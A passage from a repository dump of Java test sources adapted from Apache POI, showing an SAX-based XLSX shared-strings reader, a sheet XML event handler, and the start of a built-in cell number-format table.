throws IOException, SAXException {\n\t\tif (is.available() > 0) {\n\t\t\tInputSource sheetSource = new InputSource(is);\n\t\t\ttry {\n\t\t\t\tXMLReader sheetParser = SAXHelper.newXMLReader();\n\t\t\t\tsheetParser.setContentHandler(this);\n\t\t\t\tsheetParser.parse(sheetSource);\n\t\t\t} catch (ParserConfigurationException e) {\n\t\t\t\tthrow new RuntimeException(\"SAX parser appears to be broken - \"\n\t\t\t\t\t\t+ e.getMessage());\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Return an integer representing the total count of strings in the\n\t * workbook. This count does not include any numbers, it counts only the\n\t * total of text strings in the workbook.\n\t * \n\t * @return the total count of strings in the workbook\n\t */\n\tpublic int getCount() {\n\t\treturn this.count;\n\t}\n\n\t/**\n\t * Returns an integer representing the total count of unique strings in the\n\t * Shared String Table. A string is unique even if it is a copy of another\n\t * string, but has different formatting applied at the character level.\n\t * \n\t * @return the total count of unique strings in the workbook\n\t */\n\tpublic int getUniqueCount() {\n\t\treturn this.uniqueCount;\n\t}\n\n\t/**\n\t * Return the string at a given index. Formatting is ignored.\n\t * \n\t * @param idx\n\t *            index of item to return.\n\t * @return the item at the specified position in this Shared String table.\n\t */\n\tpublic String getEntryAt(int idx) {\n\t\treturn strings.get(idx);\n\t}\n\n\tpublic List<String> getItems() {\n\t\treturn strings;\n\t}\n\n\t// // ContentHandler methods ////\n\n\tprivate StringBuffer characters;\n\tprivate boolean rPhIsOpen = false;\n\tprivate boolean tIsOpen;\n\n\t@Override\n\tpublic void startElement(String uri, String localName, String name,\n\t\t\tAttributes attributes) throws SAXException {\n\t\tif (\"sst\".equals(name)) {\n\t\t\tString count = attributes.getValue(\"count\");\n\t\t\tif (count != null)\n\t\t\t\tthis.count = Integer.parseInt(count);\n\t\t\tString uniqueCount = attributes.getValue(\"uniqueCount\");\n\t\t\tif (uniqueCount != null)\n\t\t\t\tthis.uniqueCount = Integer.parseInt(uniqueCount);\n\n\t\t\tthis.strings = new ArrayList<String>(this.uniqueCount);\n\n\t\t\tcharacters = new StringBuffer();\n\t\t} else if (\"si\".equals(name)) {\n\t\t\tcharacters.setLength(0);\n\t\t} else if (\"t\".equals(name)) {\n\t\t\ttIsOpen = true;\n\t\t} else if (\"rPh\".equals(name)) {\n\t\t\trPhIsOpen = true;\n\t\t}\n\t}\n\n\t@Override\n\tpublic void endElement(String uri, String localName, String name)\n\t\t\tthrows SAXException {\n\t\tif (\"si\".equals(name)) {\n\t\t\tstrings.add(characters.toString());\n\t\t} else if (\"t\".equals(name)) {\n\t\t\ttIsOpen = false;\n\t\t} else if (\"rPh\".equals(name)) {\n\t\t\trPhIsOpen = false;\n\t\t}\n\t}\n\n\t@Override\n\tpublic void characters(char[] ch, int start, int length)\n\t\t\tthrows SAXException {\n\t\tif (tIsOpen) {\n\t\t\tif (!rPhIsOpen) {\n\t\t\t\tcharacters.append(ch, start, length);\n\t\t\t}\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/sax/ExcelXSSFSheetXMLHandler.java",
    "content": "/* ====================================================================\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n==================================================================== */\npackage com.jun.plugin.poi.test.excel.reader.sax;\n\nimport java.util.Comparator;\nimport java.util.LinkedList;\nimport java.util.Queue;\n\nimport org.apache.poi.ss.util.CellReference;\nimport org.apache.poi.util.POILogFactory;\nimport org.apache.poi.util.POILogger;\nimport org.apache.poi.xssf.model.CommentsTable;\nimport org.apache.poi.xssf.model.StylesTable;\nimport org.apache.poi.xssf.usermodel.XSSFCellStyle;\nimport org.apache.poi.xssf.usermodel.XSSFComment;\nimport org.apache.poi.xssf.usermodel.XSSFRichTextString;\nimport org.openxmlformats.schemas.spreadsheetml.x2006.main.CTComment;\nimport org.xml.sax.Attributes;\nimport org.xml.sax.SAXException;\nimport org.xml.sax.helpers.DefaultHandler;\n\nimport com.jun.plugin.poi.test.excel.exception.BingSaxReadStopException;\nimport com.jun.plugin.poi.test.excel.reader.usermodel.ExcelBuiltinFormats;\nimport com.jun.plugin.poi.test.excel.reader.usermodel.ExcelDataFormatter;\n\n/**\n * This class handles the processing of a sheet#.xml sheet part of a XSSF .xlsx\n * file, and generates row and cell events for it.\n */\npublic class ExcelXSSFSheetXMLHandler extends DefaultHandler {\n\tprivate static final POILogger logger = POILogFactory\n\t\t\t.getLogger(ExcelXSSFSheetXMLHandler.class);\n\n\t/**\n\t * These are the different kinds of cells we support. We keep track of the\n\t * current one between the start and end.\n\t */\n\tenum xssfDataType {\n\t\tBOOLEAN, ERROR, FORMULA, INLINE_STRING, SST_STRING, NUMBER,\n\t}\n\n\t/**\n\t * Table with the styles used for formatting\n\t */\n\tprivate StylesTable stylesTable;\n\n\t/**\n\t * Table with cell comments\n\t */\n\tprivate CommentsTable commentsTable;\n\n\t/**\n\t * Read only access to the shared strings table, for looking up (most)\n\t * string cell's contents\n\t */\n\tprivate ExcelReadOnlySharedStringsTable sharedStringsTable;\n\n\t/**\n\t * Where our text is going\n\t */\n\tprivate final BingSheetContentsHandler output;\n\n\t// Set when V start element is seen\n\tprivate boolean vIsOpen;\n\t// Set when F start element is seen\n\tprivate boolean fIsOpen;\n\t// Set when an Inline String \"is\" is seen\n\tprivate boolean isIsOpen;\n\t// Set when a header/footer element is seen\n\tprivate boolean hfIsOpen;\n\n\t// Set when cell start element is seen;\n\t// used when cell close element is seen.\n\tprivate xssfDataType nextDataType;\n\n\t// Used to format numeric cell values.\n\tprivate short formatIndex;\n\tprivate String formatString;\n\tprivate final ExcelDataFormatter formatter;\n\tprivate int rowNum;\n\tprivate int nextRowNum; // some sheets do not have rowNums, Excel can read\n\t\t\t\t\t\t\t// them so we should try to handle them correctly as\n\t\t\t\t\t\t\t// well\n\tprivate String cellRef;\n\tprivate boolean formulasNotResults;\n\n\t// Gathers characters as they are seen.\n\tprivate StringBuffer value = new StringBuffer();\n\tprivate StringBuffer formula = new StringBuffer();\n\tprivate StringBuffer headerFooter = new StringBuffer();\n\n\tprivate Queue<CellReference> commentCellRefs;\n\n\t/**\n\t * Accepts objects needed while parsing.\n\t * \n\t * @param styles\n\t *            Table of styles\n\t * @param strings\n\t *            Table of shared strings\n\t */\n\tpublic ExcelXSSFSheetXMLHandler(StylesTable styles, CommentsTable comments,\n\t\t\tExcelReadOnlySharedStringsTable strings,\n\t\t\tBingSheetContentsHandler sheetContentsHandler,\n\t\t\tExcelDataFormatter dataFormatter, boolean formulasNotResults) {\n\t\tthis.stylesTable = styles;\n\t\tthis.commentsTable = comments;\n\t\tthis.sharedStringsTable = strings;\n\t\tthis.output = sheetContentsHandler;\n\t\tthis.formulasNotResults = formulasNotResults;\n\t\tthis.nextDataType = xssfDataType.NUMBER;\n\t\tthis.formatter = dataFormatter;\n\t\tinit();\n\t}\n\n\t/**\n\t * Accepts objects needed while parsing.\n\t * \n\t * @param styles\n\t *            Table of styles\n\t * @param strings\n\t *            Table of shared strings\n\t */\n\tpublic ExcelXSSFSheetXMLHandler(StylesTable styles,\n\t\t\tExcelReadOnlySharedStringsTable strings,\n\t\t\tBingSheetContentsHandler sheetContentsHandler,\n\t\t\tExcelDataFormatter dataFormatter, boolean formulasNotResults) {\n\t\tthis(styles, null, strings, sheetContentsHandler, dataFormatter,\n\t\t\t\tformulasNotResults);\n\t}\n\n\t/**\n\t * Accepts objects needed while parsing.\n\t * \n\t * @param styles\n\t *            Table of styles\n\t * @param strings\n\t *            Table of shared strings\n\t */\n\tpublic ExcelXSSFSheetXMLHandler(StylesTable styles,\n\t\t\tExcelReadOnlySharedStringsTable strings,\n\t\t\tBingSheetContentsHandler sheetContentsHandler,\n\t\t\tboolean formulasNotResults) {\n\t\tthis(styles, strings, sheetContentsHandler, new ExcelDataFormatter(),\n\t\t\t\tformulasNotResults);\n\t}\n\n\t@SuppressWarnings(\"deprecation\")\n\tprivate void init() {\n\t\tif (commentsTable != null) {\n\t\t\tcommentCellRefs = new LinkedList<CellReference>();\n\t\t\tfor (CTComment comment : commentsTable.getCTComments()\n\t\t\t\t\t.getCommentList().getCommentArray()) {\n\t\t\t\tcommentCellRefs.add(new CellReference(comment.getRef()));\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate boolean isTextTag(String name) {\n\t\tif (\"v\".equals(name)) {\n\t\t\t// Easy, normal v text tag\n\t\t\treturn true;\n\t\t}\n\t\tif (\"inlineStr\".equals(name)) {\n\t\t\t// Easy inline string\n\t\t\treturn true;\n\t\t}\n\t\tif (\"t\".equals(name) && isIsOpen) {\n\t\t\t// Inline string <is><t>...</t></is> pair\n\t\t\treturn true;\n\t\t}\n\t\t// It isn't a text tag\n\t\treturn false;\n\t}\n\n\t@Override\n\t@SuppressWarnings(\"unused\")\n\tpublic void startElement(String uri, String localName, String name,\n\t\t\tAttributes attributes) throws SAXException {\n\n\t\tif (isTextTag(name)) {\n\t\t\tvIsOpen = true;\n\t\t\t// Clear contents cache\n\t\t\tvalue.setLength(0);\n\t\t} else if (\"is\".equals(name)) {\n\t\t\t// Inline string outer tag\n\t\t\tisIsOpen = true;\n\t\t} else if (\"f\".equals(name)) {\n\t\t\t// Clear contents cache\n\t\t\tformula.setLength(0);\n\n\t\t\t// Mark us as being a formula if not already\n\t\t\tif (nextDataType == xssfDataType.NUMBER) {\n\t\t\t\tnextDataType = xssfDataType.FORMULA;\n\t\t\t}\n\n\t\t\t// Decide where to get the formula string from\n\t\t\tString type = attributes.getValue(\"t\");\n\t\t\tif (type != null && type.equals(\"shared\")) {\n\t\t\t\t// Is it the one that defines the shared, or uses it?\n\t\t\t\tString ref = attributes.getValue(\"ref\");\n\t\t\t\tString si = attributes.getValue(\"si\");\n\n\t\t\t\tif (ref != null) {\n\t\t\t\t\t// This one defines it\n\t\t\t\t\t// TODO Save it somewhere\n\t\t\t\t\tfIsOpen = true;\n\t\t\t\t} else {\n\t\t\t\t\t// This one uses a shared formula\n\t\t\t\t\t// TODO Retrieve the shared formula and tweak it to\n\t\t\t\t\t// match the current cell\n\t\t\t\t\tif (formulasNotResults) {\n\t\t\t\t\t\tlogger.log(POILogger.WARN,\n\t\t\t\t\t\t\t\t\"shared formulas not yet supported!\");\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// It's a shared formula, so we can't get at the formula\n\t\t\t\t\t\t// string yet\n\t\t\t\t\t\t// However, they don't care about the formula string, so\n\t\t\t\t\t\t// that's ok!\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfIsOpen = true;\n\t\t\t}\n\t\t} else if (\"oddHeader\".equals(name) || \"evenHeader\".equals(name)\n\t\t\t\t|| \"firstHeader\".equals(name) || \"firstFooter\".equals(name)\n\t\t\t\t|| \"oddFooter\".equals(name) || \"evenFooter\".equals(name)) {\n\t\t\thfIsOpen = true;\n\t\t\t// Clear contents cache\n\t\t\theaderFooter.setLength(0);\n\t\t} else if (\"row\".equals(name)) {\n\t\t\tString rowNumStr = attributes.getValue(\"r\");\n\t\t\tif (rowNumStr != null) {\n\t\t\t\trowNum = Integer.parseInt(rowNumStr) - 1;\n\t\t\t} else {\n\t\t\t\trowNum = nextRowNum;\n\t\t\t}\n\t\t\toutput.startRow(rowNum);\n\t\t}\n\t\t// c => cell\n\t\telse if (\"c\".equals(name)) {\n\t\t\t// Set up defaults.\n\t\t\tthis.nextDataType = xssfDataType.NUMBER;\n\t\t\tthis.formatIndex = -1;\n\t\t\tthis.formatString = null;\n\t\t\tcellRef = attributes.getValue(\"r\");\n\t\t\tString cellType = attributes.getValue(\"t\");\n\t\t\tString cellStyleStr = attributes.getValue(\"s\");\n\t\t\tif (\"b\".equals(cellType))\n\t\t\t\tnextDataType = xssfDataType.BOOLEAN;\n\t\t\telse if (\"e\".equals(cellType))\n\t\t\t\tnextDataType = xssfDataType.ERROR;\n\t\t\telse if (\"inlineStr\".equals(cellType))\n\t\t\t\tnextDataType = xssfDataType.INLINE_STRING;\n\t\t\telse if (\"s\".equals(cellType))\n\t\t\t\tnextDataType = xssfDataType.SST_STRING;\n\t\t\telse if (\"str\".equals(cellType))\n\t\t\t\tnextDataType = xssfDataType.FORMULA;\n\t\t\telse {\n\t\t\t\t// Number, but almost certainly with a special style or format\n\t\t\t\tXSSFCellStyle style = null;\n\t\t\t\tif (cellStyleStr != null) {\n\t\t\t\t\tint styleIndex = Integer.parseInt(cellStyleStr);\n\t\t\t\t\tstyle = stylesTable.getStyleAt(styleIndex);\n\t\t\t\t} else if (stylesTable.getNumCellStyles() > 0) {\n\t\t\t\t\tstyle = stylesTable.getStyleAt(0);\n\t\t\t\t}\n\t\t\t\tif (style != null) {\n\t\t\t\t\tthis.formatIndex = style.getDataFormat();\n\t\t\t\t\tthis.formatString = style.getDataFormatString();\n\t\t\t\t\tif (this.formatString == null\n\t\t\t\t\t\t\t|| this.formatString.startsWith(\"reserved-0x\"))\n\t\t\t\t\t\tthis.formatString = ExcelBuiltinFormats\n\t\t\t\t\t\t\t\t.getBuiltinFormat(this.formatIndex);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t@Override\n\tpublic void endElement(String uri, String localName, String name)\n\t\t\tthrows SAXException {\n\t\tString thisStr = null;\n\n\t\t// v => contents of a cell\n\t\tif (isTextTag(name)) {\n\t\t\tvIsOpen = false;\n\n\t\t\t// Process the value contents as required, now we have it all\n\t\t\tswitch (nextDataType) {\n\t\t\tcase BOOLEAN:\n\t\t\t\tchar first = value.charAt(0);\n\t\t\t\tthisStr = first == '0' ? \"FALSE\" : \"TRUE\";\n\t\t\t\tbreak;\n\n\t\t\tcase ERROR:\n\t\t\t\tthisStr = \"ERROR:\" + value.toString();\n\t\t\t\tbreak;\n\n\t\t\tcase FORMULA:\n\t\t\t\tif (formulasNotResults) {\n\t\t\t\t\tthisStr = formula.toString();\n\t\t\t\t} else {\n\t\t\t\t\tString fv = value.toString();\n\n\t\t\t\t\tif (this.formatString != null) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t// Try to use the value as a formattable number\n\t\t\t\t\t\t\tdouble d = Double.parseDouble(fv);\n\t\t\t\t\t\t\tthisStr = formatter.formatRawCellContents(d,\n\t\t\t\t\t\t\t\t\tthis.formatIndex, this.formatString);\n\t\t\t\t\t\t} catch (NumberFormatException e) {\n\t\t\t\t\t\t\t// Formula is a String result not a Numeric one\n\t\t\t\t\t\t\tthisStr = fv;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// No formating applied, just do raw value in all cases\n\t\t\t\t\t\tthisStr = fv;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase INLINE_STRING:\n\t\t\t\t// TODO: Can these ever have formatting on them?\n\t\t\t\tXSSFRichTextString rtsi = new XSSFRichTextString(\n\t\t\t\t\t\tvalue.toString());\n\t\t\t\tthisStr = rtsi.toString();\n\t\t\t\tbreak;\n\n\t\t\tcase SST_STRING:\n\t\t\t\tString sstIndex = value.toString();\n\t\t\t\ttry {\n\t\t\t\t\tint idx = Integer.parseInt(sstIndex);\n\t\t\t\t\tXSSFRichTextString rtss = new XSSFRichTextString(\n\t\t\t\t\t\t\tsharedStringsTable.getEntryAt(idx));\n\t\t\t\t\tthisStr = rtss.toString();\n\t\t\t\t} catch (NumberFormatException ex) {\n\t\t\t\t\tlogger.log(POILogger.ERROR, \"Failed to parse SST index '\"\n\t\t\t\t\t\t\t+ sstIndex, ex);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase NUMBER:\n\t\t\t\tString n = value.toString();\n\t\t\t\tif (this.formatString != null && n.length() > 0)\n\t\t\t\t\tthisStr = formatter.formatRawCellContents(\n\t\t\t\t\t\t\tDouble.parseDouble(n), this.formatIndex,\n\t\t\t\t\t\t\tthis.formatString);\n\t\t\t\telse\n\t\t\t\t\tthisStr = n;\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tthisStr = \"(TODO: Unexpected type: \" + nextDataType + \")\";\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t// Do we have a comment for this cell? 先注释掉\n\t\t\t//checkForEmptyCellComments(EmptyCellCommentsCheckType.CELL);\n\t\t\tXSSFComment comment = commentsTable != null ? commentsTable\n\t\t\t\t\t.findCellComment(cellRef) : null;\n\n\t\t\t// Output 上面已经输出\n\t\t\toutput.cell(rowNum, cellRef, thisStr, comment);\n\t\t} else if (\"f\".equals(name)) {\n\t\t\tfIsOpen = false;\n\t\t} else if (\"is\".equals(name)) {\n\t\t\tisIsOpen = false;\n\t\t} else if (\"row\".equals(name)) {\n\t\t\t// Handle any \"missing\" cells which had comments attached\n\t\t\tcheckForEmptyCellComments(EmptyCellCommentsCheckType.END_OF_ROW);\n\n\t\t\t// Finish up the row\n\t\t\toutput.endRow(rowNum);\n\n\t\t\t// some sheets do not have rowNum set in the XML, Excel can read\n\t\t\t// them so we should try to read them as well\n\t\t\tnextRowNum = rowNum + 1;\n\t\t} else if (\"sheetData\".equals(name)) {\n\t\t\t// Handle any \"missing\" cells which had comments attached\n\t\t\tcheckForEmptyCellComments(EmptyCellCommentsCheckType.END_OF_SHEET_DATA);\n\t\t} else if (\"oddHeader\".equals(name) || \"evenHeader\".equals(name)\n\t\t\t\t|| \"firstHeader\".equals(name)) {\n\t\t\thfIsOpen = false;\n\t\t\toutput.headerFooter(headerFooter.toString(), true, name);\n\t\t} else if (\"oddFooter\".equals(name) || \"evenFooter\".equals(name)\n\t\t\t\t|| \"firstFooter\".equals(name)) {\n\t\t\thfIsOpen = false;\n\t\t\toutput.headerFooter(headerFooter.toString(), false, name);\n\t\t}\n\t}\n\n\t/**\n\t * Captures characters only if a suitable element is open. Originally was\n\t * just \"v\"; extended for inlineStr also.\n\t */\n\t@Override\n\tpublic void characters(char[] ch, int start, int length)\n\t\t\tthrows SAXException {\n\t\tif (vIsOpen) {\n\t\t\tvalue.append(ch, start, length);\n\t\t}\n\t\tif (fIsOpen) {\n\t\t\tformula.append(ch, start, length);\n\t\t}\n\t\tif (hfIsOpen) {\n\t\t\theaderFooter.append(ch, start, length);\n\t\t}\n\t}\n\n\t/**\n\t * Do a check for, and output, comments in otherwise empty cells.\n\t * \n\t * @throws BingSaxReadStopException\n\t */\n\tprivate void checkForEmptyCellComments(EmptyCellCommentsCheckType type)\n\t\t\tthrows BingSaxReadStopException {\n\t\tif (commentCellRefs != null && !commentCellRefs.isEmpty()) {\n\t\t\t// If we've reached the end of the sheet data, output any\n\t\t\t// comments we haven't yet already handled\n\t\t\tif (type == EmptyCellCommentsCheckType.END_OF_SHEET_DATA) {\n\t\t\t\twhile (!commentCellRefs.isEmpty()) {\n\t\t\t\t\toutputEmptyCellComment(commentCellRefs.remove());\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// At the end of a row, handle any comments for \"missing\" rows\n\t\t\t// before us\n\t\t\tif (this.cellRef == null) {\n\t\t\t\tif (type == EmptyCellCommentsCheckType.END_OF_ROW) {\n\t\t\t\t\twhile (!commentCellRefs.isEmpty()) {\n\t\t\t\t\t\tif (commentCellRefs.peek().getRow() == rowNum) {\n\t\t\t\t\t\t\toutputEmptyCellComment(commentCellRefs.remove());\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn;\n\t\t\t\t} else {\n\t\t\t\t\tthrow new IllegalStateException(\n\t\t\t\t\t\t\t\"Cell ref should be null only if there are only empty cells in the row; rowNum: \"\n\t\t\t\t\t\t\t\t\t+ rowNum);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tCellReference nextCommentCellRef;\n\t\t\tdo {\n\t\t\t\tCellReference cellRef = new CellReference(this.cellRef);\n\t\t\t\tCellReference peekCellRef = commentCellRefs.peek();\n\t\t\t\tif (type == EmptyCellCommentsCheckType.CELL\n\t\t\t\t\t\t&& cellRef.equals(peekCellRef)) {\n\t\t\t\t\t// remove the comment cell ref from the list if we're about\n\t\t\t\t\t// to handle it alongside the cell content\n\t\t\t\t\tcommentCellRefs.remove();\n\t\t\t\t\treturn;\n\t\t\t\t} else {\n\t\t\t\t\t// fill in any gaps if there are empty cells with comment\n\t\t\t\t\t// mixed in with non-empty cells\n\t\t\t\t\tint comparison = cellRefComparator.compare(peekCellRef,\n\t\t\t\t\t\t\tcellRef);\n\t\t\t\t\tif (comparison > 0\n\t\t\t\t\t\t\t&& type == EmptyCellCommentsCheckType.END_OF_ROW\n\t\t\t\t\t\t\t&& peekCellRef.getRow() <= rowNum) {\n\t\t\t\t\t\tnextCommentCellRef = commentCellRefs.remove();\n\t\t\t\t\t\toutputEmptyCellComment(nextCommentCellRef);\n\t\t\t\t\t} else if (comparison < 0\n\t\t\t\t\t\t\t&& type == EmptyCellCommentsCheckType.CELL\n\t\t\t\t\t\t\t&& peekCellRef.getRow() <= rowNum) {\n\t\t\t\t\t\tnextCommentCellRef = commentCellRefs.remove();\n\t\t\t\t\t\toutputEmptyCellComment(nextCommentCellRef);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tnextCommentCellRef = null;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} while (nextCommentCellRef != null && !commentCellRefs.isEmpty());\n\t\t}\n\t}\n\n\t/**\n\t * Output an empty-cell comment.\n\t * \n\t * @throws BingSaxReadStopException\n\t */\n\tprivate void outputEmptyCellComment(CellReference cellRef)\n\t\t\tthrows BingSaxReadStopException {\n\t\tString cellRefString = cellRef.formatAsString();\n\t\tXSSFComment comment = commentsTable.findCellComment(cellRefString);\n\t\toutput.cell(rowNum, cellRefString, null, comment);\n\t}\n\n\tprivate enum EmptyCellCommentsCheckType {\n\t\tCELL, END_OF_ROW, END_OF_SHEET_DATA\n\t}\n\n\tprivate static final Comparator<CellReference> cellRefComparator = new Comparator<CellReference>() {\n\t\t@Override\n\t\tpublic int compare(CellReference o1, CellReference o2) {\n\t\t\tint result = compare(o1.getRow(), o2.getRow());\n\t\t\tif (result == 0) {\n\t\t\t\tresult = compare(o1.getCol(), o2.getCol());\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\n\t\tpublic int compare(int x, int y) {\n\t\t\treturn (x < y) ? -1 : ((x == y) ? 0 : 1);\n\t\t}\n\t};\n\n\tpublic void ignoreNumFormat(boolean b) {\n\t\tthis.formatter.setIgnoreNumFormat(b);\n\t}\n\t\n\t/**\n\t * You need to implement this to handle the results of the sheet parsing.\n\t */\n\tpublic interface BingSheetContentsHandler {\n\t\t/** A row with the (zero based) row number has started */\n\t\tpublic void startRow(int rowNum)throws BingSaxReadStopException;\n\n\t\t/** A row with the (zero based) row number has ended */\n\t\tpublic void endRow(int rowNum);\n\n\t\t/**\n\t\t * A cell, with the given formatted value (may be null), and possibly a\n\t\t * comment (may be null), was encountered\n\t\t */\n\t\tpublic void cell(int rowNum, String cellReference,\n\t\t\t\tString formattedValue, XSSFComment comment)\n\t\t\t\t;\n\n\t\t/** A header or footer has been encountered */\n\t\tpublic void headerFooter(String text, boolean isHeader, String tagName);\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/usermodel/ExcelBuiltinFormats.java",
    "content": "package com.jun.plugin.poi.test.excel.reader.usermodel;\n\nimport java.util.ArrayList;\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Utility to identify built-in formats.  The following is a list of the formats as\n * returned by this class.<p/>\n *<p/>\n *       0, \"General\"<br/>\n *       1, \"0\"<br/>\n *       2, \"0.00\"<br/>\n *       3, \"#,##0\"<br/>\n *       4, \"#,##0.00\"<br/>\n *       5, \"$#,##0_);($#,##0)\"<br/>\n *       6, \"$#,##0_);[Red]($#,##0)\"<br/>\n *       7, \"$#,##0.00);($#,##0.00)\"<br/>\n *       8, \"$#,##0.00_);[Red]($#,##0.00)\"<br/>\n *       9, \"0%\"<br/>\n *       0xa, \"0.00%\"<br/>\n *       0xb, \"0.00E+00\"<br/>\n *       0xc, \"# ?/?\"<br/>\n *       0xd, \"# ??/??\"<br/>\n *       0xe, \"m/d/yy\"<br/>\n *       0xf, \"d-mmm-yy\"<br/>\n *       0x10, \"d-mmm\"<br/>\n *       0x11, \"mmm-yy\"<br/>\n *       0x12, \"h:mm AM/PM\"<br/>\n *       0x13, \"h:mm:ss AM/PM\"<br/>\n *       0x14, \"h:mm\"<br/>\n *       0x15, \"h:mm:ss\"<br/>\n *       0x16, \"m/d/yy h:mm\"<br/>\n *<p/>\n *       // 0x17 - 0x24 reserved for international and undocumented\n *       0x25, \"#,##0_);(#,##0)\"<br/>\n *       0x26, \"#,##0_);[Red](#,##0)\"<br/>\n *       0x27, \"#,##0.00_);(#,##0.00)\"<br/>\n *       0x28, \"#,##0.00_);[Red](#,##0.00)\"<br/>\n *       0x29, \"_(* #,##0_);_(* (#,##0);_(* \\\"-\\\"_);_(@_)\"<br/>\n *       0x2a, \"_($* #,##0_);_($* (#,##0);_($* \\\"-\\\"_);_(@_)\"<br/>\n *       0x2b, \"_(* #,##0.00_);_(* (#,##0.00);_(* \\\"-\\\"??_);_(@_)\"<br/>\n *       0x2c, \"_($* #,##0.00_);_($* (#,##0.00);_($* \\\"-\\\"??_);_(@_)\"<br/>\n *       0x2d, \"mm:ss\"<br/>\n *       0x2e, \"[h]:mm:ss\"<br/>\n *       0x2f, \"mm:ss.0\"<br/>\n *       0x30, \"##0.0E+0\"<br/>\n *       0x31, \"@\" - This is text format.<br/>\n *       0x31  \"text\" - Alias for \"@\"<br/>\n * <p/>\n *\n * @author Wujun\n *\n * Modified 6/17/09 by Stanislav Shor - positive formats don't need starting '('\n * Modified 10/31/13 by Eric Peters - * is a repeating/padding character directive, examples needed a space after the asterix (e.i. Accounting format)\n * Modified 02/01/2016 by shizhongtao - * add new formats\n * @since poi3.11版本 when licence change then change synchronized whit BuiltinFormats\n *\n */\npublic class ExcelBuiltinFormats {\n\n\t/**\n\t * The first user-defined format starts at 164.\n\t */\n\tpublic static final int FIRST_USER_DEFINED_FORMAT_INDEX = 164;\n\n\tprivate final static String[] _formats;\n\n/*\n0 General General 18 Time h:mm AM/PM\n1 Decimal 0 19 Time h:mm:ss AM/PM\n2 Decimal 0.00 20 Time h:mm\n3 Decimal #,##0 21 Time h:mm:ss\n4 Decimal #,##0.00 2232 Date/Time M/D/YY h:mm\n531 Currency \"$\"#,##0_);(\"$\"#,##0) 37 Account. _(#,##0_);(#,##0)\n631 Currency \"$\"#,##0_);[Red](\"$\"#,##0) 38 Account. _(#,##0_);[Red](#,##0)\n731 Currency \"$\"#,##0.00_);(\"$\"#,##0.00) 39 Account. _(#,##0.00_);(#,##0.00)\n831 Currency \"$\"#,##0.00_);[Red](\"$\"#,##0.00) 40 Account. _(#,##0.00_);[Red](#,##0.00)\n9 Percent 0% 4131 Currency _(\"$\"* #,##0_);_(\"$\"* (#,##0);_(\"$\"* \"-\"_);_(@_)\n10 Percent 0.00% 4231 33 Currency _(* #,##0_);_(* (#,##0);_(* \"-\"_);_(@_)\n11 Scientific 0.00E+00 4331 Currency _(\"$\"* #,##0.00_);_(\"$\"* (#,##0.00);_(\"$\"* \"-\"??_);_(@_)\n12 Fraction # ?/? 4431 33 Currency _(* #,##0.00_);_(* (#,##0.00);_(* \"-\"??_);_(@_)\n13 Fraction # ??/?? 45 Time mm:ss\n1432 Date M/D/YY 46 Time [h]:mm:ss\n15 Date D-MMM-YY 47 Time mm:ss.0\n16 Date D-MMM 48 Scientific ##0.0E+0\n17 Date MMM-YY 49 Text @\n* */\n\tstatic {\n\t\tList<String> m = new ArrayList<String>();\n\t\tputFormat(m, 0, \"General\");\n\t\tputFormat(m, 1, \"0\");\n\t\tputFormat(m, 2, \"0.00\");\n\t\tputFormat(m, 3, \"#,##0\");\n\t\tputFormat(m, 4, \"#,##0.00\");\n\t\tputFormat(m, 5, \"\\\"$\\\"#,##0_);(\\\"$\\\"#,##0)\");\n\t\tputFormat(m, 6, \"\\\"$\\\"#,##0_);[Red](\\\"$\\\"#,##0)\");\n\t\tputFormat(m, 7, \"\\\"$\\\"#,##0.00_);(\\\"$\\\"#,##0.00)\");\n\t\tputFormat(m, 8, \"\\\"$\\\"#,##0.00_);[Red](\\\"$\\\"#,##0.00)\");\n\t\tputFormat(m, 9, \"0%\");\n\t\tputFormat(m, 0xa, \"0.00%\");\n\t\tputFormat(m, 0xb, \"0.00E+00\");\n\t\tputFormat(m, 0xc, \"# ?/?\");\n\t\tputFormat(m, 0xd, \"# ??/??\");\n\t\tputFormat(m, 0xe, \"m/d/yy\");\n\t\tputFormat(m, 0xf, \"d-mmm-yy\");\n\t\tputFormat(m, 0x10, \"d-mmm\");\n\t\tputFormat(m, 0x11, \"mmm-yy\");\n\t\tputFormat(m, 0x12, \"h:mm AM/PM\");\n\t\tputFormat(m, 0x13, \"h:mm:ss AM/PM\");\n\t\tputFormat(m, 0x14, \"h:mm\");\n\t\tputFormat(m, 0x15, \"h:mm:ss\");\n\t\tputFormat(m, 0x16, \"m/d/yy h:mm\");\n\n\t\t// 0x17 - 0x24 reserved for international 